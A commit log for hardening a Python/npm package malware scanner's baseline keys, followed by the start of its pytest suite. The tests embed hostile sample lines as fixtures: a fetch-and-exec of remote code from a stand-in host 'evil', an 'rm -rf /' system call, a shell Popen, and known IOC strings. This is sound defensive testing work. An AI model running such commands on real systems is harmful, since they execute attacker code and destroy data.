* scan_packages: key baseline on matched-code hash The baseline matched on (package, package-relative file, check), which excluded the matched code, so a future finding of the same check in the same file was suppressed regardless of what the code did. A malicious future version of an already-baselined package could place a payload in the same file under the same check and pass the enforcing gate. Key the baseline on a hash of the matched code too. The hash is over the deduped, sorted set of matched spans with L<NN>: line markers stripped, so version bumps, line shifts and match reordering stay stable while new or changed flagged code reopens the finding. Version is left out of the key so routine dependency bumps do not reopen every entry. The hash is capped and recomputable from the stored evidence. Regenerate scan_packages_baseline.json against the current dependency set; the hf-stack, studio and extras scan shards pass enforcing (no active CRITICAL or HIGH). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan_packages: refresh baseline for newer unsloth-zoo release A newer unsloth-zoo published after the first regenerate added tests/test_mlx_save_export_regressions.py, a benign test fixture (temporary_location="/tmp/ignored") that trips the /tmp dropper check. Regenerate the hf-stack shard against the current set so the entry is allowlisted; studio and extras are unchanged. * scan_packages: harden baseline loading against malformed JSON Guard against a non-dict top-level baseline and non-dict entries so a corrupt or hand-edited allowlist warns and fails closed instead of crashing with AttributeError, and treat an explicit evidence: null as empty. * scan_packages: hash the full match set, keep indentation, strip only the marker Address the evidence-hash review feedback: - Capture every matching line, not the first three, so a payload appended after existing matches in a baselined file and check reopens the finding instead of riding the sample. - Preserve leading indentation so a flagged line moved out of a guarded block reads as changed. - Strip only each span's prefix up to the first L<NN>: marker, so an L<NN>: inside the matched code is kept and a change to it reopens the finding. Evidence and its hash are stored in full and stay recomputable from the stored field. Regenerate the baseline; hf-stack, studio and extras pass enforcing with no active CRITICAL or HIGH. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan_packages: bind baseline evidence to full matched code Address review feedback on the evidence-hash baseline key: - Split evidence only on real span delimiters (" | " before an L<NN>: marker, or a newline), so a bitwise-or or union type in matched code is no longer split apart into separate spans. - Record matched lines in full (drop the 160-char per-line cap) and record every distinct multiline match, so code appended past the cap or a second cross-line match reopens the finding instead of riding the first one. - Give the large-JS-bundle and .pth base64-blob findings a content digest instead of empty or prefix-only evidence, and record all .pth import lines, so a changed bundle, blob or import no longer inherits a baselined empty or truncated key. - Warn when a loaded baseline has entries without evidence_hash so a legacy baseline is regenerated rather than silently degraded. Regenerate scripts/scan_packages_baseline.json against the current dep set and add regression tests for each case. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan_packages: harden multiline and duplicate evidence handling Follow-up hardening so the evidence hash tracks the full matched code: - For DOTALL patterns that match across lines, record every line the match spans (not just the start line), so a change on a continuation line (the URL inside a baselined C2 loop, a swapped credential path) reopens the finding. A pathological greedy span is bounded to its head line plus a digest of the rest. - Keep duplicate spans in the canonical evidence so a second identical matched line in a new code path changes the key instead of deduping away. - Anchor the evidence prefix to strip only a genuine leading label or line-number marker, leaving a marker-like "L<NN>:" inside raw .pth code intact. - Make the legacy-baseline warning explicit that entries without an evidence_hash reopen rather than suppress under a coarse key. Regenerate scripts/scan_packages_baseline.json (same finding set; entries for same-file repeated checks are now tracked separately) and add tests. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan_packages: bind every combo and large finding to its full content Close the remaining asymmetric-evidence gaps so a changed payload cannot ride a reviewed baseline entry: - Digest a capped multiline span from the code without line markers, so a pure line shift stays stable while a continuation-line change reopens. - Give the "Unusually large executable .pth" finding a content digest instead of keying on byte size and import-line count alone. - Record both contributing signals for the JS credential+network stealer, the shell credential+network and persistence-hook combos, and the hidden network+exec docstring payload, so changing the network/exec side reopens. - Allow punctuation in an evidence label prefix so a "network+exec:" label is stripped and line shifts do not change the key. Regenerate scripts/scan_packages_baseline.json and add tests for each case. * scan_packages: bind remaining Python combos; key npm baseline on evidence Python scanner: the openssl+key, anti-analysis, DNS-exfil and base64+exec+blob combos recorded only one contributing signal, so a changed payload on the other side could ride a reviewed baseline entry. Each now binds every co-occurring signal (and the blob is digested, since it can sit on a separate line from the decode call). npm scanner: scan_npm_packages.py keyed its allowlist on (package, path, pattern) only, the same coarse-key bypass the Python scanner just closed. Add an evidence hash to the key (schema v3, fail-closed on older baselines) and store full evidence. The committed baseline stays empty by design. Regenerate scripts/scan_packages_baseline.json and add tests for each case. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan_npm_packages: bind full blob evidence and harden baseline loader Follow-up on the npm evidence-hash key: - _evidence now records every match and, when a snippet is truncated for display, appends a digest of the full match. The obfuscated-blob key was hashing only the truncated first-match snippet, so a changed payload tail or an appended blob in the same package/file/pattern could ride a reviewed entry. - _load_baseline guards that the root is an object, entries is a list, and each entry is a dict before reading it, so a malformed baseline warns and fails closed instead of raising AttributeError. Add tests for a changed blob tail reopening the key and for malformed entries. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan_packages: symmetric baseline-loader guards; bind npm outbound host context - Python _load_baseline now rejects a non-list "entries" with a warning instead of raising TypeError, matching the npm loader. - npm cred-surface-host (outbound) records the host with its URL path / fetch call / host config, so a changed outbound path, headers or body reopens the key rather than riding the bare host literal. Add tests for both. * scan_npm_packages: migrate v2 baselines and bind host-config outbound context - _load_baseline now migrates schema v2 entries by recomputing the evidence hash from stored evidence (with a legacy warning), matching the Python loader, instead of discarding them; only pre-v2 basename schemas are rejected. - The cred-surface-host (outbound) host-config branch now captures the whole line (path, headers, body), so a changed outbound payload on the same hostname line reopens the key instead of riding the bare host snippet. Add tests for v2 migration and the host-config context binding. * scan packages: bind PEM key bodies and npm windowed evidence to baseline keys scan_packages: embedded-key findings now pin the full PEM block (BEGIN..END) via a content digest, so a key body swapped under the same marker reopens the finding instead of riding the unchanged BEGIN line. Single-line and DER keys were already bound by their full matched line; marker-only references with no END block (validation header lists) are unaffected, so the committed baseline is unchanged. scan_npm_packages: _evidence now digests the full containing line whenever the shown snippet is only a window into it (short match on a long line, or a truncated payload), so a changed payload tail outside the display window reopens the key. The npm baseline is empty, so this changes no suppressions. Adds regression tests for both cases. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan packages: bind multi-line evidence and every blob to baseline keys _extract_evidence now extends each single-line match over its bracket continuations, so a multi-line call binds its argument lines and a changed URL or body on a continuation line reopens the key. After the per-line pass it also records cross-line matches the scan cannot otherwise see (a DOTALL regex, or a multi-line construct appended under a check that already had a one-line match), so an appended multiline payload reopens instead of riding the key. _blob_digest hashes every large base64 blob (not just the first) for the base64+exec finding and the .pth large-blob finding, so an appended or swapped second encoded payload reopens; single-blob files keep the same digest. scan_npm_packages _evidence digests the full logical line (the matched line plus its bracket-continuation lines), so a multi-line fetch's option and header lines bind and a changed payload on a following line reopens the outbound key. Regenerated the Python baseline: same package/file/check set, 24 entries pick up the wider multi-line evidence. Adds regression tests for each case. * scan packages: stop giant greedy spans from binding a whole-file digest When a greedy DOTALL pattern (reverse shell socket...subprocess, C2 loop) has its anchor tokens far apart, the match span covers the whole file. Digesting that span bound thousands of unrelated lines, so the evidence hash drifted on any edit between the anchors (a dependency bump reshuffling the file), which made a baselined finding reopen on an upstream release. The multiline pass now skips an oversized span when the per-line pass already bound the signal lines, so the evidence is the stable matched lines; a genuinely appended multi-line construct stays under the cap and is still recorded. Regenerated the Python baseline against Python 3.12 (the version the scan CI shards run) so the resolved dependency set matches CI. Same package/file/check set. Adds a regression test. * scan packages: tighten evidence binding (order, string brackets, span size) Address review follow-ups on the evidence extraction: - _canon_evidence keeps discovery (line) order instead of sorting. Line-shift stability already comes from stripping the L<NN>: markers, so order stays significant and reordering matched lines (a multi-line call's arguments) reopens the finding. - _logical_line_end (Python) and _logical_line_text (npm) blank string literals before counting brackets, so a ) inside a string argument does not close the logical line early and drop later argument lines. - The oversized-span skip now only drops a giant whole-file bridge (over 60 lines); a genuinely appended multi-line construct is recorded so its payload reopens, rather than riding an existing one-line match. - npm _logical_line_text binds the enclosing bracket group, so a host-config object whose { is on a prior line binds its path/headers/body lines. Regenerated the Python baseline (Python 3.12, matching the scan CI shards): same package/file/check set. Adds regression tests for each. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan npm packages: normalize and bound the logical-line digest - _evidence whitespace-normalizes the logical line before digesting (matching _evidence_hash), so a formatter-only reindent of the bound continuation lines does not change the sha256 suffix and reopen an unchanged finding. - _logical_line_text follows a bracket group to its close up to a hard 200-line cap (digest input only), so a config object longer than the backward window still binds its whole tail instead of silently truncating. Adds regression tests. npm baseline is empty, so no regeneration is needed. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan: cap single-line evidence and widen npm opener window Cap each rendered evidence line at 200 chars in scan_packages.py: a long or minified one-line file is shown as a bounded prefix plus a sha256 of the full line, so a packed payload cannot dump unbounded content into the CI logs or baseline while a change past the cutoff still changes the digest and reopens the finding. Mirrors how the npm scanner bounds its snippets. Widen the npm backward opener window (_MAX_CONT_LINES 12 to 200, symmetric with the forward cap) so a host deep inside a large options object binds the whole object, not just its own line; a changed path, header, or body on any property reopens. Regenerate the Python baseline with Python 3.12: only the protobuf nspkg.pth and unsloth-zoo compiler.py evidence change, both from the new line cap; the package/file/check key set is unchanged. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * scan: bind all host contexts, deep call continuations, far-back npm openers Three fail-closed evidence gaps surfaced by review of the previous round. scan_npm_packages.py: measure the forward bracket-group cap from the matched line (idx + _MAX_GROUP_LINES) instead of the opener, so an opener found near the widened backward limit no longer consumes the forward budget and drops the path, headers, or body that follow the host. scan_npm_packages.py: _outbound_host_evidence now records every outbound context form for a host (URL, fetch-context, host-config), claiming each non-overlapping match in form order, so a separate host-config request added beside an already-baselined URL changes the evidence and reopens the key. The common single-context case keeps its existing snippet. scan_packages.py: follow a matched Python call over its continuations up to a separate _MAX_CALL_LINES (40), decoupled from the 12-line display threshold, so a multi-line requests.post( binds its whole argument list in the digest and a changed body deep in the call reopens; bounded so a miscounted bracket cannot swallow unrelated code. No baseline change: the current dependency set has no matched call that closes between 13 and 40 lines, confirmed by a Python 3.12 regenerate that produced a byte-identical baseline. * scan: clamp npm depth, pin large bundles, follow backslash and bound .pth dump Four fail-closed evidence gaps surfaced by review of the previous round. scan_npm_packages.py: clamp the backward opener scan at depth 0 so a leading unmatched closer (a preceding block whose opener is outside the backward window) no longer drives depth negative and masks the real enclosing opener that follows; a host-config object after such a block now binds and a changed path reopens. scan_packages.py: a large JS bundle now pins its whole content even when another JS heuristic already fired. The bundle digest was only added when no other finding existed; it is now appended to every finding's evidence on a large bundle, so an unchanged obfuscation signature no longer lets changed payload elsewhere ride the matched-line key. scan_packages.py: _logical_line_end follows explicit backslash line continuations, so a call split with a backslash before its parenthesis binds the continuation line (URL/body) instead of returning at the zero-depth API line. scan_packages.py: the catch-all .pth import evidence is bounded through _cap_line (prefix plus a digest of every line) so a large .pth of benign imports cannot dump the whole member into the logs or baseline while an appended or swapped import still reopens. Baseline regenerated with Python 3.12: key set unchanged; one entry (unsloth-zoo compiler.py) gains the backslash-continued banner lines now bound by the continuation fix. * scan: handle multi-line strings, lifecycle bodies, and de-quadratic evidence Addresses a review round plus a performance audit of the evidence extractor. Correctness (fail-closed): - Bind the UNION of the single-line-blanked and multi-line-blanked bracket spans in both scanners. The multi-line view blanks a triple-quoted Python string or a backtick template literal that spans lines, so a `)` inside such a string no longer closes the enclosing call early and drop later arguments. The single-line view still counts a payload embedded INSIDE a string, so a dropper that hides a call in a string keeps its argument lines bound. Taking the larger span never shrinks the binding below either view, avoiding a fail-open regression. - cred-env-in-lifecycle now pins the whole lifecycle script body via a digest, so a changed non-token line (e.g. adding a curl exfil beside the token reference) reopens, not just a change on the token line. Performance / DoS (the scanner runs on attacker-controlled package files up to the 64 MiB / 16 MiB member caps, with no per-file time budget): - _extract_evidence precomputes newline offsets once and maps match offsets with bisect, removing the O(matches) whole-file content.count per match that made the finditer fallback quadratic (a crafted minified file went from ~13 s/MiB and hours at the cap to linear). - npm _index_text splits and string-blanks the file once per evidence call instead of per match (was O(matches x file) time and allocation). - Bound evidence output: _MAX_EVIDENCE_SPANS (Python) and _MAX_EVIDENCE_MATCHES (npm) fold the remainder into a digest so a file with thousands of matches cannot build a multi-megabyte evidence/baseline blob while an added/removed match past the cap still changes the key. - _outbound_host_evidence caps matches per form and bounds the overlap claim so a host repeated many times cannot make it quadratic. No baseline change: a Python 3.12 regenerate is byte-identical (the union equals the legacy single-line span for every current dependency file; the cap thresholds sit above the largest real entry), so these are forward-looking hardening with no drift. * scan: count all overflow matches, bind their context, blank JS regex literals Follow-ups on the evidence output caps from the previous commit. - _outbound_host_evidence no longer truncates each pattern's match iterator with islice; it iterates every match and runs the overlap dedup only while the display list is below the cap (so claimed stays bounded and the check is O(cap) per match, not quadratic), folding every match past the cap into the overflow digest. A host context beyond the 64th is counted again, so it reopens. - The overflow digest (both scanners, via a shared _overflow_digest) binds each overflow match's logical-line context, not just the regex match text, so a changed payload on an over-cap line reopens even with the matched token unchanged. - The multi-line JS blanked view now blanks regex-literal bodies (tracking the previous significant char for regex-vs-division and char classes for a literal `/` inside `[...]`), so a `)` inside `/)/` no longer closes an outbound call early. The bound span is the union of the single-line and multi-line views, so an imperfect regex decision only ever grows the span, never shrinks it. - The Python overflow digest canonicalizes spans (strips L<NN>: markers via _canon_evidence) before hashing, restoring line-shift stability for the over-cap region. No baseline change: the overflow branches only trigger above the per-finding caps (above the largest real entry), and the npm baseline is empty, so a Python 3.12 regenerate is byte-identical. * scan: refresh baseline for ipython interactiveshell.py span drift A newer ipython release changed the filesystem-enumeration span in IPython/core/interactiveshell.py, so its content digest no longer matched the baselined evidence and the studio scan shard flagged it as a non-baselined CRITICAL. Regenerated with Python 3.12: only the ipython entry's evidence_hash changes; the package/file/check key set is unchanged, and a studio enforcing spot-check exits 0. * Bound scanner evidence memory: stream overflow spans and cap lifecycle baseline size scan_packages.py: _extract_evidence no longer materializes a rendered span per match before slicing at the display cap. Once out holds _MAX_EVIDENCE_SPANS spans, further spans fold straight into a running digest, so a minified or padded file with hundreds of thousands of matching lines keeps memory bounded to the display cap instead of the match count. The fold reproduces _canon_evidence(" | ".join(overflow)) byte for byte, so the overflow digest and every baseline key are unchanged. scan_npm_packages.py: lifecycle-fetch-exec and cred-path-in-lifecycle stored the entire install script body as evidence, so --write-baseline on a package with a multi-MiB lifecycle script bloated the baseline JSON. Both now store a bounded matched snippet plus a body-sha256 digest, matching cred-env-in-lifecycle. The digest still binds the whole body, so a change to any line reopens the finding. Adds tests for the streamed overflow bound and the bounded-but-reopens lifecycle evidence. Baseline unchanged (byte-identical Python evidence; npm baseline empty). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Make npm bracket-group scan order-aware so a same-line close-then-open binds _scan_group counted brackets with a per-line net (opens minus closes), which collapses intra-line order: a line that closes a prior block and then opens the host-config object on the same line, e.g. `}); const opts = {`, nets to <= 0, so the trailing `{` was dropped and the group started at the hostname line. A changed path/headers on the following lines then hashed to the same evidence and could ride an existing baseline key. Replace the net count with an order-aware (L, R) reduction per line (L closers needing an opener to the left, R openers needing a closer to the right) and apply it in order in both the backward and forward scans, clamping stray closers at 0. The trailing opener now stays visible so the whole object binds and a changed payload reopens. Per-line cost is unchanged (one C-level bracket findall), so the existing outbound-host evidence is byte-identical on all prior shapes; only the previously-dropped same-line case changes. Adds a regression test for it. * Harden scanner evidence: bound memory and bind Python call tails fail-closed Five fixes across both scanners, none of which change the committed baseline (a full regen of all three pip shards produced a byte-identical 185-key set). scan_npm_packages.py: _evidence and _outbound_host_evidence collected every regex match into a list before applying the 64-match display cap, so a text file under the size cap that repeats a cheap signal (such as NPM_TOKEN) millions of times could allocate a huge list of re.Match objects and stall or OOM before the overflow digest ran. They now stream from finditer and fold overflow as matches arrive via a shared _fold_overflow_match helper, byte-identical to the prior digest. scan_packages.py: - _extract_evidence kept inserting every unique over-cap span into the seen set even after it stopped appending to the display list, so a generated file with millions of one-line matches still grew that set unbounded. It now tracks spans only while filling the display list (per-line spans are unique by line number, so dropping them past the cap cannot miss a dedup). - _scan_line_end counted brackets with a per-line net, so a continued statement that closes on the same line it opens a flagged call (a leading "]" before "requests.post(") had the call's open paren cancelled and bound only the opener line. It now applies brackets in order via _bracket_lr (leading closers clamp at 0), matching the npm bracket fix. - a single-quoted string continued by a trailing backslash was not tracked across lines, so a close paren inside the continued string on the next line closed the call early; _blank_code_strings now carries the continuation. - a call with more argument lines than the soft cap was hashed only through the cap, so a changed data=/headers tail past it stayed suppressed; a closing call is now followed to its real close under a 200-line hard limit (a never-closing opener still stops at the 40-line soft cap so it cannot swallow the file). Adds regression tests for each. npm baseline is empty; the Python baseline is unchanged (verified byte-identical by regenerating all three shards). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Bind giant DOTALL span anchors and add context to constant IOC evidence Two fail-closed gaps where a changed payload could keep the same evidence hash and stay suppressed by the baseline. scan_packages.py: a giant greedy DOTALL span (a cross-line IOC match bridging more than 60 lines, e.g. RE_TEMP_EXEC matching a /tmp line and a much-later subprocess line) was dropped entirely once the per-line pass had any match, so an appended cross-line payload -- a new /tmp line plus a later subprocess line that share no single line, so the per-line pass never binds them -- produced the same evidence and rode the key. The span is no longer dropped: it is bound by its head and tail anchor lines plus a digest over just those (no line numbers, so a pure line shift is stable). An added or moved anchor reopens the finding, while churn in the bridged interior stays stable, so this does not reintroduce whole-file drift. Two baseline entries (multiprocess test, unsloth-zoo scanner file) carry such a span and are refreshed; a full three-shard regen confirmed only those two keys change. scan_npm_packages.py: known-ioc-string and cred-surface-host (always-bad) recorded only the bare needle/host as evidence, so a reviewed tarball that kept the IOC string while altering the adjacent fetch/exfil body produced an identical key. They now bind matched-line context: known-ioc-string via the matched line and its bracket-group continuation, cred-surface-host (always-bad) via the outbound call context (path/headers/body, falling back to the bare host when not in an outbound call). A changed payload on the same call now reopens. Adds regression tests for each. npm baseline is empty; the Python baseline updates only the two giant-span entries. * Hash giant-span interiors, bind exec/eval trigger, JS content, intra-literal whitespace Four fail-closed gaps where a changed payload could keep the same evidence hash. scan_packages.py: - A giant bridged DOTALL span was bound only by its head and tail anchors, so a cross-line payload inserted into the bridged interior between unchanged outer anchors kept the same key. The whole span content is now digested (via _render), so any interior change reopens; a pure line shift stays stable because the digest is over the markerless code. Two baseline entries (multiprocess test, unsloth-zoo scanner file) carry such a span; with full-interior binding, multiprocess resolved at two versions across shards now yields two distinct entries where the anchor digest had collapsed them into one. - The exec/eval-with-hidden-payload findings omitted the visible exec/eval line that makes the hidden string executable, so flipping a harmless eval("1+1") to exec(__doc__) kept the same key while arming the payload. The trigger line from the real-code view is now bound into the evidence. - check_js_file extracted evidence with the Python-string-aware extractor, which does not blank JS backtick template literals, so a template containing a close paren closed a call's bracket span early and omitted later option/body lines. The full file content digest is now pinned to every JS finding (not just large bundles), binding the whole call. scan_npm_packages.py: the evidence canon collapsed all whitespace via split(), erasing whitespace inside JS string literals along with harmless indentation, so a changed request body 'a b' -> 'a b' kept the same key. A new _canon_preserve_strings collapses whitespace only OUTSIDE string literals (reindent-stable) while preserving it INSIDE single/double/backtick literals (intra-payload edits reopen). Used for the evidence hash and the logical-line digests. Adds regression tests for each. npm baseline is empty; the Python baseline updates the two giant-span entries and adds the second multiprocess version's entry. --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
1597 lines
68 KiB
Python
1597 lines
68 KiB
Python
"""Regression tests for `scripts/scan_packages.py`, driving the offline
|
|
`scan_archive` helper against fixtures under `tests/security/fixtures/`."""
|
|
|
|
from __future__ import annotations
|
|
|
|
import hashlib
|
|
import os
|
|
import re
|
|
import subprocess
|
|
import sys
|
|
from pathlib import Path
|
|
|
|
import pytest
|
|
|
|
REPO_ROOT = Path(__file__).resolve().parents[2]
|
|
FIXTURES = Path(__file__).resolve().parent / "fixtures"
|
|
|
|
sys.path.insert(0, str(REPO_ROOT))
|
|
from scripts import scan_packages as sp # noqa: E402
|
|
|
|
|
|
def test_fixture_files_exist():
|
|
for name in ("malicious_wheel.whl", "clean_wheel.whl", "malicious_sdist.tar.gz"):
|
|
assert (FIXTURES / name).is_file(), name
|
|
|
|
|
|
def test_fixture_bytes_are_deterministic(tmp_path):
|
|
"""Re-running `_build.py` must produce byte-identical archives (deterministic builds)."""
|
|
# Snapshot committed hashes.
|
|
expected: dict[str, str] = {}
|
|
for name in ("malicious_wheel.whl", "clean_wheel.whl", "malicious_sdist.tar.gz"):
|
|
expected[name] = hashlib.sha256((FIXTURES / name).read_bytes()).hexdigest()
|
|
|
|
# Rebuild into a sibling dir to avoid clobbering the committed files.
|
|
rebuild_dir = tmp_path / "rebuild"
|
|
rebuild_dir.mkdir()
|
|
# The build helper writes to its own dir; copy + patch HERE.
|
|
builder_src = (FIXTURES / "_build.py").read_text()
|
|
rebuilt_helper = rebuild_dir / "_build.py"
|
|
rebuilt_helper.write_text(builder_src)
|
|
# Run with SOURCE_DATE_EPOCH=0 and HERE override via a shim.
|
|
shim = rebuild_dir / "run.py"
|
|
shim.write_text(
|
|
"import sys, pathlib\n"
|
|
f"sys.path.insert(0, {str(rebuild_dir)!r})\n"
|
|
"import _build\n"
|
|
f"_build.HERE = pathlib.Path({str(rebuild_dir)!r})\n"
|
|
"_build.build_all()\n"
|
|
)
|
|
env = dict(os.environ, SOURCE_DATE_EPOCH = "0")
|
|
proc = subprocess.run(
|
|
[sys.executable, str(shim)],
|
|
env = env,
|
|
capture_output = True,
|
|
text = True,
|
|
timeout = 30,
|
|
)
|
|
assert proc.returncode == 0, proc.stderr
|
|
|
|
for name, want_sha in expected.items():
|
|
got = hashlib.sha256((rebuild_dir / name).read_bytes()).hexdigest()
|
|
assert got == want_sha, (
|
|
f"rebuild of {name} produced different bytes:\n"
|
|
f" expected: {want_sha}\n"
|
|
f" actual: {got}\n"
|
|
"_build.py is non-deterministic; pin members tighter."
|
|
)
|
|
|
|
|
|
def _critical_or_high(findings) -> list:
|
|
return [f for f in findings if f.severity in (sp.CRITICAL, sp.HIGH)]
|
|
|
|
|
|
def test_malicious_wheel_triggers_critical():
|
|
findings = sp.scan_archive(
|
|
str(FIXTURES / "malicious_wheel.whl"),
|
|
"malicious_fixture",
|
|
)
|
|
assert findings, "no findings on malicious wheel; scanner regression"
|
|
blockers = _critical_or_high(findings)
|
|
assert blockers, f"no CRITICAL/HIGH findings: {[str(f) for f in findings]}"
|
|
assert any("setup.py" in f.filename for f in blockers)
|
|
|
|
|
|
def test_malicious_sdist_triggers_critical():
|
|
findings = sp.scan_archive(
|
|
str(FIXTURES / "malicious_sdist.tar.gz"),
|
|
"malicious_fixture",
|
|
)
|
|
blockers = _critical_or_high(findings)
|
|
assert blockers, f"no CRITICAL/HIGH findings: {[str(f) for f in findings]}"
|
|
assert any("setup.py" in f.filename for f in blockers)
|
|
|
|
|
|
def test_clean_wheel_no_findings():
|
|
findings = sp.scan_archive(
|
|
str(FIXTURES / "clean_wheel.whl"),
|
|
"clean_fixture",
|
|
)
|
|
assert findings == [], f"unexpected findings on clean wheel: {[str(f) for f in findings]}"
|
|
|
|
|
|
# Fork 1 constants -- gated on availability.
|
|
_BLOCKED_AVAILABLE = hasattr(sp, "BLOCKED_PYPI_VERSIONS")
|
|
_MAY12_AVAILABLE = hasattr(sp, "RE_MAY12_IOC")
|
|
|
|
|
|
@pytest.mark.skipif(
|
|
not _BLOCKED_AVAILABLE,
|
|
reason = "Fork 1 (BLOCKED_PYPI_VERSIONS) not merged yet",
|
|
)
|
|
def test_blocked_pypi_versions_complete():
|
|
table = sp.BLOCKED_PYPI_VERSIONS
|
|
assert "guardrails-ai" in table
|
|
assert "0.10.1" in table["guardrails-ai"]
|
|
assert "mistralai" in table
|
|
assert "2.4.6" in table["mistralai"]
|
|
assert "lightning" in table
|
|
assert {"2.6.2", "2.6.3"}.issubset(table["lightning"])
|
|
|
|
|
|
@pytest.mark.skipif(
|
|
not _MAY12_AVAILABLE,
|
|
reason = "Fork 1 (RE_MAY12_IOC) not merged yet",
|
|
)
|
|
def test_re_may12_ioc_catches_each_literal():
|
|
expected_literals = [
|
|
"git-tanstack.com",
|
|
"/tmp/transformers.pyz",
|
|
"transformers.pyz",
|
|
"With Love TeamPCP",
|
|
"We've been online over 2 hours",
|
|
]
|
|
pattern: re.Pattern = sp.RE_MAY12_IOC
|
|
for lit in expected_literals:
|
|
assert pattern.search(lit), f"RE_MAY12_IOC missed literal {lit!r}"
|
|
# Clean control: a string with none of the literals must not match.
|
|
assert not pattern.search("import numpy as np")
|
|
|
|
|
|
@pytest.mark.skipif(
|
|
not _MAY12_AVAILABLE,
|
|
reason = "Fork 1 (RE_MAY12_IOC integration) not merged yet",
|
|
)
|
|
def test_may12_ioc_caught_by_scan_archive():
|
|
"""Wired into check_py_file, the malicious wheel's setup.py must flag the May-12 IOC string."""
|
|
findings = sp.scan_archive(
|
|
str(FIXTURES / "malicious_wheel.whl"),
|
|
"malicious_fixture",
|
|
)
|
|
# IOC literals built at runtime so CodeQL's url-substring-sanitization rule
|
|
# doesn't false-positive on the `in` operand (it's evidence, not a URL).
|
|
_ioc_host = "git-tanstack." + "com"
|
|
_ioc_drop = "transformers." + "pyz"
|
|
hit = any(
|
|
_ioc_host in (f.evidence or "")
|
|
or _ioc_drop in (f.evidence or "")
|
|
or "may12" in (f.check or "").lower()
|
|
for f in findings
|
|
)
|
|
assert hit, (
|
|
"RE_MAY12_IOC integration missing; findings = "
|
|
f"{[(f.severity, f.check, f.evidence[:80]) for f in findings]}"
|
|
)
|
|
|
|
|
|
# Silent-failure-class hardening (Fork C).
|
|
|
|
|
|
def test_scan_packages_pip_download_failure_propagates(tmp_path):
|
|
"""A pip download failure must exit 2 (SCAN INCOMPLETE), not `0 findings, exit 0`.
|
|
|
|
Feeds an unresolvable spec; the name is long/random so it can't resolve on any index."""
|
|
script = REPO_ROOT / "scripts" / "scan_packages.py"
|
|
assert script.is_file(), script
|
|
unresolvable = "pkg-that-does-not-exist-0123456789-fork-c-silentfail==0.0.0"
|
|
proc = subprocess.run(
|
|
[sys.executable, str(script), unresolvable],
|
|
cwd = str(tmp_path),
|
|
capture_output = True,
|
|
text = True,
|
|
timeout = 180,
|
|
)
|
|
combined = proc.stdout + proc.stderr
|
|
assert proc.returncode == 2, (
|
|
f"expected exit 2 (download failure -> scan incomplete), got "
|
|
f"{proc.returncode}\n--- stdout ---\n{proc.stdout}\n"
|
|
f"--- stderr ---\n{proc.stderr}"
|
|
)
|
|
assert "SCAN INCOMPLETE" in combined or "pip download failed" in combined
|
|
|
|
|
|
def test_archive_corruption_produces_critical_finding(tmp_path):
|
|
"""SF1: a corrupted wheel (once silently skipped) must yield a CRITICAL `archive_corrupted`."""
|
|
bad = tmp_path / "broken-0.0.1-py3-none-any.whl"
|
|
bad.write_bytes(b"X") # 1-byte "wheel" -- not a valid zip container
|
|
findings = sp.scan_archive(str(bad), "broken_fixture")
|
|
assert findings, "scan_archive returned 0 findings on corrupt wheel"
|
|
corrupted = [f for f in findings if f.check == "archive_corrupted"]
|
|
assert corrupted, (
|
|
"no archive_corrupted finding; got " f"{[(f.severity, f.check) for f in findings]}"
|
|
)
|
|
assert all(f.severity == sp.CRITICAL for f in corrupted)
|
|
|
|
# Same for a corrupted tarball.
|
|
bad_tar = tmp_path / "broken-0.0.1.tar.gz"
|
|
bad_tar.write_bytes(b"not-a-real-gzip-stream")
|
|
findings_tar = sp.scan_archive(str(bad_tar), "broken_fixture")
|
|
corrupted_tar = [f for f in findings_tar if f.check == "archive_corrupted"]
|
|
assert corrupted_tar, (
|
|
"no archive_corrupted finding on corrupt tarball; got "
|
|
f"{[(f.severity, f.check) for f in findings_tar]}"
|
|
)
|
|
|
|
|
|
# False-positive hardening: code-only scanning via _strip_noncode.
|
|
|
|
|
|
def test_strip_noncode_blanks_docstrings_and_comments_keeps_geometry():
|
|
src = (
|
|
'"""Module doc mentions subprocess.Popen and reverse shell."""\n'
|
|
"x = 1 # os.system('rm -rf /') in a comment\n"
|
|
"def f():\n"
|
|
" '''calls eval() and exec() in prose'''\n"
|
|
" return x\n"
|
|
)
|
|
out = sp._strip_noncode(src)
|
|
# Line geometry is byte-stable so evidence L<n> stays correct.
|
|
assert len(out.splitlines()) == len(src.splitlines())
|
|
# Tokens lived only in docstrings/comments -> gone.
|
|
for needle in ("subprocess", "os.system", "eval(", "exec(", "reverse shell"):
|
|
assert needle not in out, needle
|
|
assert "x = 1" in out
|
|
assert "return x" in out
|
|
|
|
|
|
def test_strip_noncode_preserves_real_code_and_assigned_strings():
|
|
src = (
|
|
"import subprocess\n"
|
|
"subprocess.Popen(['/bin/sh', '-c', 'id'])\n"
|
|
"exec(open('x').read())\n"
|
|
"BLOB = '" + ("A" * 64) + "'\n" # assigned string is code, not a docstring
|
|
)
|
|
out = sp._strip_noncode(src)
|
|
assert out == src, "real code (incl. RHS string literals) must be untouched"
|
|
|
|
|
|
def test_strip_noncode_falls_back_on_syntax_error():
|
|
broken = "def f(:\n pass # not valid python\n"
|
|
# Must not raise; returns the original so the content is still scanned.
|
|
assert sp._strip_noncode(broken) == broken
|
|
|
|
|
|
def test_check_py_file_ignores_docstring_only_iocs():
|
|
# A file whose only dangerous patterns live in a docstring must be clean.
|
|
benign = (
|
|
'"""Usage:\n'
|
|
">>> import subprocess, urllib.request\n"
|
|
">>> subprocess.Popen(['sh','-c','id'])\n"
|
|
">>> exec(urllib.request.urlopen('http://evil/x').read())\n"
|
|
'"""\n'
|
|
"VERSION = '1.0'\n"
|
|
)
|
|
